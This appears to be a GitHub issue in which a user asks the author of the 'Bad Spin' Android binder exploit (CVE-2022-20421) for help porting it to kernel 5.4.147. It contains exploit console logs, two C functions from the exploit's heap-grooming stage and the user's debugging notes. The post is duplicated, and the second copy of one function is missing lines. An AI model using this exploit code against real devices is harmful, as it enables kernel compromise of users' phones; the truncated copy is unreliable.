@0xkol after successfully exploited in a kernel 5.10.66,see issue12,I want to exploit in a new device, with kernel 5.4.147.
In the kernel 5.10.66,all exploit is run correctly, but in the new device with kernel 5.4.147:
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[5068:5068] New binder client: A
[5070:5070] New binder client: C
[5069:5069] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
C: Wait for A...
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[do_client_b] Callusleep(500*1000).
[x] Trigger use-after-free
(crash)
I had chaged the NR_EPFDS from 500 to 200.
after some debug log,I found:
beforce leak_inner_lock_offset in do_client_b, it call usleep(5001000) for sleep 0.5s. but it seem to hang on and then the system crash.
if I undo the call usleep(5001000)
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[5112:5112] New binder client: C
[5110:5110] New binder client: A
[5111:5111] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[do_client_b] Callusleep(500*1000).
[leak_inner_lock_offset] Enter.
Testing ptmx 0 (fd 4)
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[x] Trigger use-after-free
(hang on a while and then crash)
in the unblock_blocker_thread,
void unblock_blocker_thread(poc_client_t *client, int blocker_thread_index) {
exploit_ctx_t *ctx = client->ctx;
poc_client_private_data_b *b = client->private_data;
while (!atomic_load(&ctx->sync_var_vuln_ptmx[blocker_thread_index])) {
LOG("[%s] ctx->sync_var_vuln_ptmx[%d] ==0,so need to turn_on_ptmx.\n",func,blocker_thread_index);
turn_on_ptmx(b->ptmx[blocker_thread_index]);
}
}
turn_on_ptmx(b->ptmx[blocker_thread_index]) --- the will unblock the write syscall in the blocker_thread:
void *blocker_thread(void *arg) {
struct blocker_thread_info *info = arg;
pin_to_cpu(0);
flush_ptmx(info->ptmx);
turn_off_ptmx(info->ptmx); // make the write() syscall to block.
light_cond_wait(&info->ctx->lc_spray_tty_post);
/* Create tty write buffer and block */
SYSCHK(write(info->ptmx, info->data, info->data_size));
atomic_store(&info->ctx->sync_var_vuln_ptmx[info->blocker_index], 1);
LOG("[%s] set ctx->sync_var_vuln_ptmx[%d] to 1.\n",func,info->blocker_index);
return NULL;
}
but there is the proplem:after call turn_on_ptmx, it seem the info->ctx->sync_var_vuln_ptmx[info->blocker_index] not to be set to 1(if yes ,the log will be printed),so the unblock_blocker_thread will be in a dead loop.
@0xkol after successfully exploited in a kernel 5.10.66,see issue12,I want to exploit in a new device, with kernel 5.4.147.
In the kernel 5.10.66,all exploit is run correctly, but in the new device with kernel 5.4.147:
Bad Spin Exploit (CVE-2022-20421) by 0xkol
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[5068:5068] New binder client: A
[5070:5070] New binder client: C
[5069:5069] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
C: Wait for A...
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[do_client_b] Callusleep(500*1000).
[x] Trigger use-after-free
(crash)
I had chaged the NR_EPFDS from 500 to 200.
after some debug log,I found:
beforce leak_inner_lock_offset in do_client_b, it call usleep(5001000) for sleep 0.5s. but it seem to hang on and then the system crash.
if I undo the call usleep(5001000)
Bad Spin Exploit (CVE-2022-20421) by 0xkol
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[5112:5112] New binder client: C
[5110:5110] New binder client: A
[5111:5111] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[do_client_b] Callusleep(500*1000).
[leak_inner_lock_offset] Enter.
Testing ptmx 0 (fd 4)
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[unblock_blocker_thread] ctx->sync_var_vuln_ptmx[0] ==0,so need to turn_on_ptmx.
[x] Trigger use-after-free
(hang on a while and then crash)
in the unblock_blocker_thread,
void unblock_blocker_thread(poc_client_t *client, int blocker_thread_index) {
exploit_ctx_t *ctx = client->ctx;
poc_client_private_data_b *b = client->private_data;
while (!atomic_load(&ctx->sync_var_vuln_ptmx[blocker_thread_index])) {
LOG("[%s] ctx->sync_var_vuln_ptmx[%d] ==0,so need to turn_on_ptmx.\n",func,blocker_thread_index);
turn_on_ptmx(b->ptmx[blocker_thread_index]);
}
}
turn_on_ptmx(b->ptmx[blocker_thread_index]) --- the will unblock the write syscall in the blocker_thread:
void *blocker_thread(void *arg) {
struct blocker_thread_info *info = arg;
pin_to_cpu(0);
flush_ptmx(info->ptmx);
turn_off_ptmx(info->ptmx); // make the write() syscall to block.
LOG("[%s] set ctx->sync_var_vuln_ptmx[%d] to 1.\n",func,info->blocker_index);
return NULL;
}
but there is the proplem:after call turn_on_ptmx, it seem the info->ctx->sync_var_vuln_ptmx[info->blocker_index] not to be set to 1(if yes ,the log will be printed),so the unblock_blocker_thread will be in a dead loop.